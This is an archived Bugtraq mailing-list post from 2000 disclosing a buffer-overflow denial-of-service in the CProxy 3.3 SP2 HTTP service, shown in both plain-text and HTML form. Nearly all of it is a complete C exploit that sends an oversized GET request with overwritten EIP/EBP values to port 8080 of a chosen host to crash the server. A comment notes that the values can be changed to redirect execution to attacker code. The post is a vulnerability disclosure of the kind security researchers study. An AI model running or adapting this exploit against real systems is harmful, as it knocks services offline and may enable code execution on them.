[14921] in bugtraq

home help back first fref pref prev next nref lref last post

CProxy v3.3 SP 2 DoS

daemon@ATHENA.MIT.EDU (|[TDP]|)
Tue May 16 17:06:35 2000

Mime-Version: 1.0
Content-Type: multipart/alternative;
              boundary="----=_NextPart_000_007A_01BFBF59.A07240A0"
Message-Id:  <007d01bfbf48$e44f0e40$01dc11ac@peopletel.org>
Date:         Tue, 16 May 2000 17:10:25 +0200
Reply-To: "|[TDP]|" <tdp@PSYNET.NET>
From: "|[TDP]|" <tdp@PSYNET.NET>
X-To:         bugtraq@securityfocus.com
To: BUGTRAQ@SECURITYFOCUS.COM

This is a multi-part message in MIME format.

------=_NextPart_000_007A_01BFBF59.A07240A0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable


 Last day I found a vulnerability in CProxy while I was testing it to =
install in a
host server in one office... Here is the test that demonstrate the =
existence of the bug

/*
 * Remote Denial of Service for CProxy v3.3 - Service Pack 2
 *=20
 * (C) |[TDP]|  - HaCk-13 TeaM -  2000      <tdp@psynet.net>
 *
 *
 * This program xploits an overflow vulnerability in CProxy 3.3 SP2
 * HTTP Service (8080), causing server shutdown
 *
 * Greetings to all the other members and all my friends :)=20
 */

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netdb.h>
#include <netinet/in.h>
#include <arpa/inet.h>

#define BUFFERSIZE 247
#define NOP 0x90
// If you change this values you can change EIP and EBP values
// to redirect to a code that you want >;)
#define EIP 0x61616161
#define EBP 0x61616161

void usage(char *progname) {
 fprintf(stderr,"Usage: %s <hostname> [eip] [ebp]\n",progname);
 exit(1);
}

int main(int argc, char **argv) {
char *ptr,buffer[BUFFERSIZE], remotedos[1024];
unsigned long *long_ptr,eip=3DEIP, ebp=3DEBP;
int aux,sock;
struct sockaddr_in sin;
unsigned long ip;
struct hostent *he;

 fprintf(stderr,"\n-=3D Remote DoS for CProxy v3.3 ServicePack 2 - (C) =
|[TDP]| - H13 Team =3D-\n");

 if (argc<2) usage(argv[0]);

 if (argc>=3D3) eip+=3Datol(argv[2]);

 if (argc>=3D4) ebp+=3Datol(argv[3]);

 ptr=3Dbuffer;
 memset(ptr,0,sizeof(buffer));
 memset(ptr,NOP,sizeof(buffer)-8);
 ptr+=3Dsizeof(buffer)-8;
 long_ptr=3D(unsigned long*)ptr;
 *(long_ptr++) =3D ebp;
 *(long_ptr++) =3D eip;
 ptr=3D(char *)long_ptr;
 *ptr=3D'\0';

 bzero(remotedos, sizeof(remotedos));
 snprintf(remotedos, sizeof(remotedos), "GET http://%s =
HTTP/1.0\r\n\r\n\r\n",buffer);

 if ((sock =3D socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0) {
 perror("socket()");
 return -1;
 }

 if ((he =3D gethostbyname(argv[1])) !=3D NULL) {
 ip =3D *(unsigned long *)he->h_addr;
 } else {
 if ((ip =3D inet_addr(argv[1])) =3D=3D NULL) {
  perror("inet_addr()");
  return -1;
 }
 }

 sin.sin_family =3D AF_INET;
 sin.sin_addr.s_addr =3D ip;
 sin.sin_port =3D htons(8080);

 fprintf(stderr,"\nEngaged...\n");
 if (connect(sock, (struct sockaddr *)&sin, sizeof(sin)) < 0) {
 perror("connect()");
 return -1;
 }

 if (write(sock, remotedos, strlen(remotedos)) < strlen(remotedos)) {
 perror("write()");
 return -1;
 }

 fprintf(stderr,"Bye Bye baby!...\n\n");
 if (close(sock) < 0) {
 perror("close()");
 return -1;
 }

 return(0);
}


------=_NextPart_000_007A_01BFBF59.A07240A0
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META content=3D"text/html; charset=3Diso-8859-1" =
http-equiv=3DContent-Type>
<META content=3D"MSHTML 5.00.2722.2800" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT face=3DArial size=3D2><BR>&nbsp;Last day I found a =
vulnerability in=20
CProxy while I was testing it to install in a<BR>host server in one =
office...=20
Here is the test that demonstrate the existence of the bug</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>/*<BR>&nbsp;* Remote Denial of Service =
for CProxy=20
v3.3 - Service Pack 2<BR>&nbsp;* <BR>&nbsp;* (C) |[TDP]|&nbsp; - HaCk-13 =
TeaM=20
-&nbsp; 2000&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;<A=20
href=3D"mailto:tdp@psynet.net">tdp@psynet.net</A>&gt;<BR>&nbsp;*<BR>&nbsp=
;*<BR>&nbsp;*=20
This program xploits an overflow vulnerability in CProxy 3.3 =
SP2<BR>&nbsp;* HTTP=20
Service (8080), causing server shutdown<BR>&nbsp;*<BR>&nbsp;* Greetings =
to all=20
the other members and all my friends :) <BR>&nbsp;*/</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>#include &lt;stdio.h&gt;<BR>#include=20
&lt;stdlib.h&gt;<BR>#include &lt;unistd.h&gt;<BR>#include=20
&lt;sys/socket.h&gt;<BR>#include &lt;sys/types.h&gt;<BR>#include=20
&lt;netdb.h&gt;<BR>#include &lt;netinet/in.h&gt;<BR>#include=20
&lt;arpa/inet.h&gt;</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>#define BUFFERSIZE 247<BR>#define NOP =
0x90<BR>// If=20
you change this values you can change EIP and EBP values<BR>// to =
redirect to a=20
code that you want &gt;;)<BR>#define EIP 0x61616161<BR>#define EBP=20
0x61616161</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>void usage(char *progname)=20
{<BR>&nbsp;fprintf(stderr,"Usage: %s &lt;hostname&gt; [eip]=20
[ebp]\n",progname);<BR>&nbsp;exit(1);<BR>}</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>int main(int argc, char **argv) =
{<BR>char=20
*ptr,buffer[BUFFERSIZE], remotedos[1024];<BR>unsigned long =
*long_ptr,eip=3DEIP,=20
ebp=3DEBP;<BR>int aux,sock;<BR>struct sockaddr_in sin;<BR>unsigned long=20
ip;<BR>struct hostent *he;</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>&nbsp;fprintf(stderr,"\n-=3D Remote DoS =
for CProxy=20
v3.3 ServicePack 2 - (C) |[TDP]| - H13 Team =3D-\n");</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>&nbsp;if (argc&lt;2) =
usage(argv[0]);</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>&nbsp;if (argc&gt;=3D3)=20
eip+=3Datol(argv[2]);</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>&nbsp;if (argc&gt;=3D4)=20
ebp+=3Datol(argv[3]);</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial=20
size=3D2>&nbsp;ptr=3Dbuffer;<BR>&nbsp;memset(ptr,0,sizeof(buffer));<BR>&n=
bsp;memset(ptr,NOP,sizeof(buffer)-8);<BR>&nbsp;ptr+=3Dsizeof(buffer)-8;<B=
R>&nbsp;long_ptr=3D(unsigned=20
long*)ptr;<BR>&nbsp;*(long_ptr++) =3D ebp;<BR>&nbsp;*(long_ptr++) =3D=20
eip;<BR>&nbsp;ptr=3D(char *)long_ptr;<BR>&nbsp;*ptr=3D'\0';</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>&nbsp;bzero(remotedos,=20
sizeof(remotedos));<BR>&nbsp;snprintf(remotedos, sizeof(remotedos), "GET =
<A=20
href=3D"http://%s">http://%s</A> =
HTTP/1.0\r\n\r\n\r\n",buffer);</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>&nbsp;if ((sock =3D socket(AF_INET, =
SOCK_STREAM,=20
IPPROTO_TCP)) &lt; 0) {<BR>&nbsp;perror("socket()");<BR>&nbsp;return=20
-1;<BR>&nbsp;}</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>&nbsp;if ((he =3D =
gethostbyname(argv[1])) !=3D NULL)=20
{<BR>&nbsp;ip =3D *(unsigned long *)he-&gt;h_addr;<BR>&nbsp;} else =
{<BR>&nbsp;if=20
((ip =3D inet_addr(argv[1])) =3D=3D NULL)=20
{<BR>&nbsp;&nbsp;perror("inet_addr()");<BR>&nbsp;&nbsp;return=20
-1;<BR>&nbsp;}<BR>&nbsp;}</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>&nbsp;sin.sin_family =3D=20
AF_INET;<BR>&nbsp;sin.sin_addr.s_addr =3D ip;<BR>&nbsp;sin.sin_port =3D=20
htons(8080);</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial =
size=3D2>&nbsp;fprintf(stderr,"\nEngaged...\n");<BR>&nbsp;if=20
(connect(sock, (struct sockaddr *)&amp;sin, sizeof(sin)) &lt; 0)=20
{<BR>&nbsp;perror("connect()");<BR>&nbsp;return =
-1;<BR>&nbsp;}</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>&nbsp;if (write(sock, remotedos, =
strlen(remotedos))=20
&lt; strlen(remotedos)) {<BR>&nbsp;perror("write()");<BR>&nbsp;return=20
-1;<BR>&nbsp;}</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>&nbsp;fprintf(stderr,"Bye Bye=20
baby!...\n\n");<BR>&nbsp;if (close(sock) &lt; 0)=20
{<BR>&nbsp;perror("close()");<BR>&nbsp;return =
-1;<BR>&nbsp;}</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial=20
size=3D2>&nbsp;return(0);<BR>}<BR></FONT></DIV></BODY></HTML>

------=_NextPart_000_007A_01BFBF59.A07240A0--

home help back first fref pref prev next nref lref last post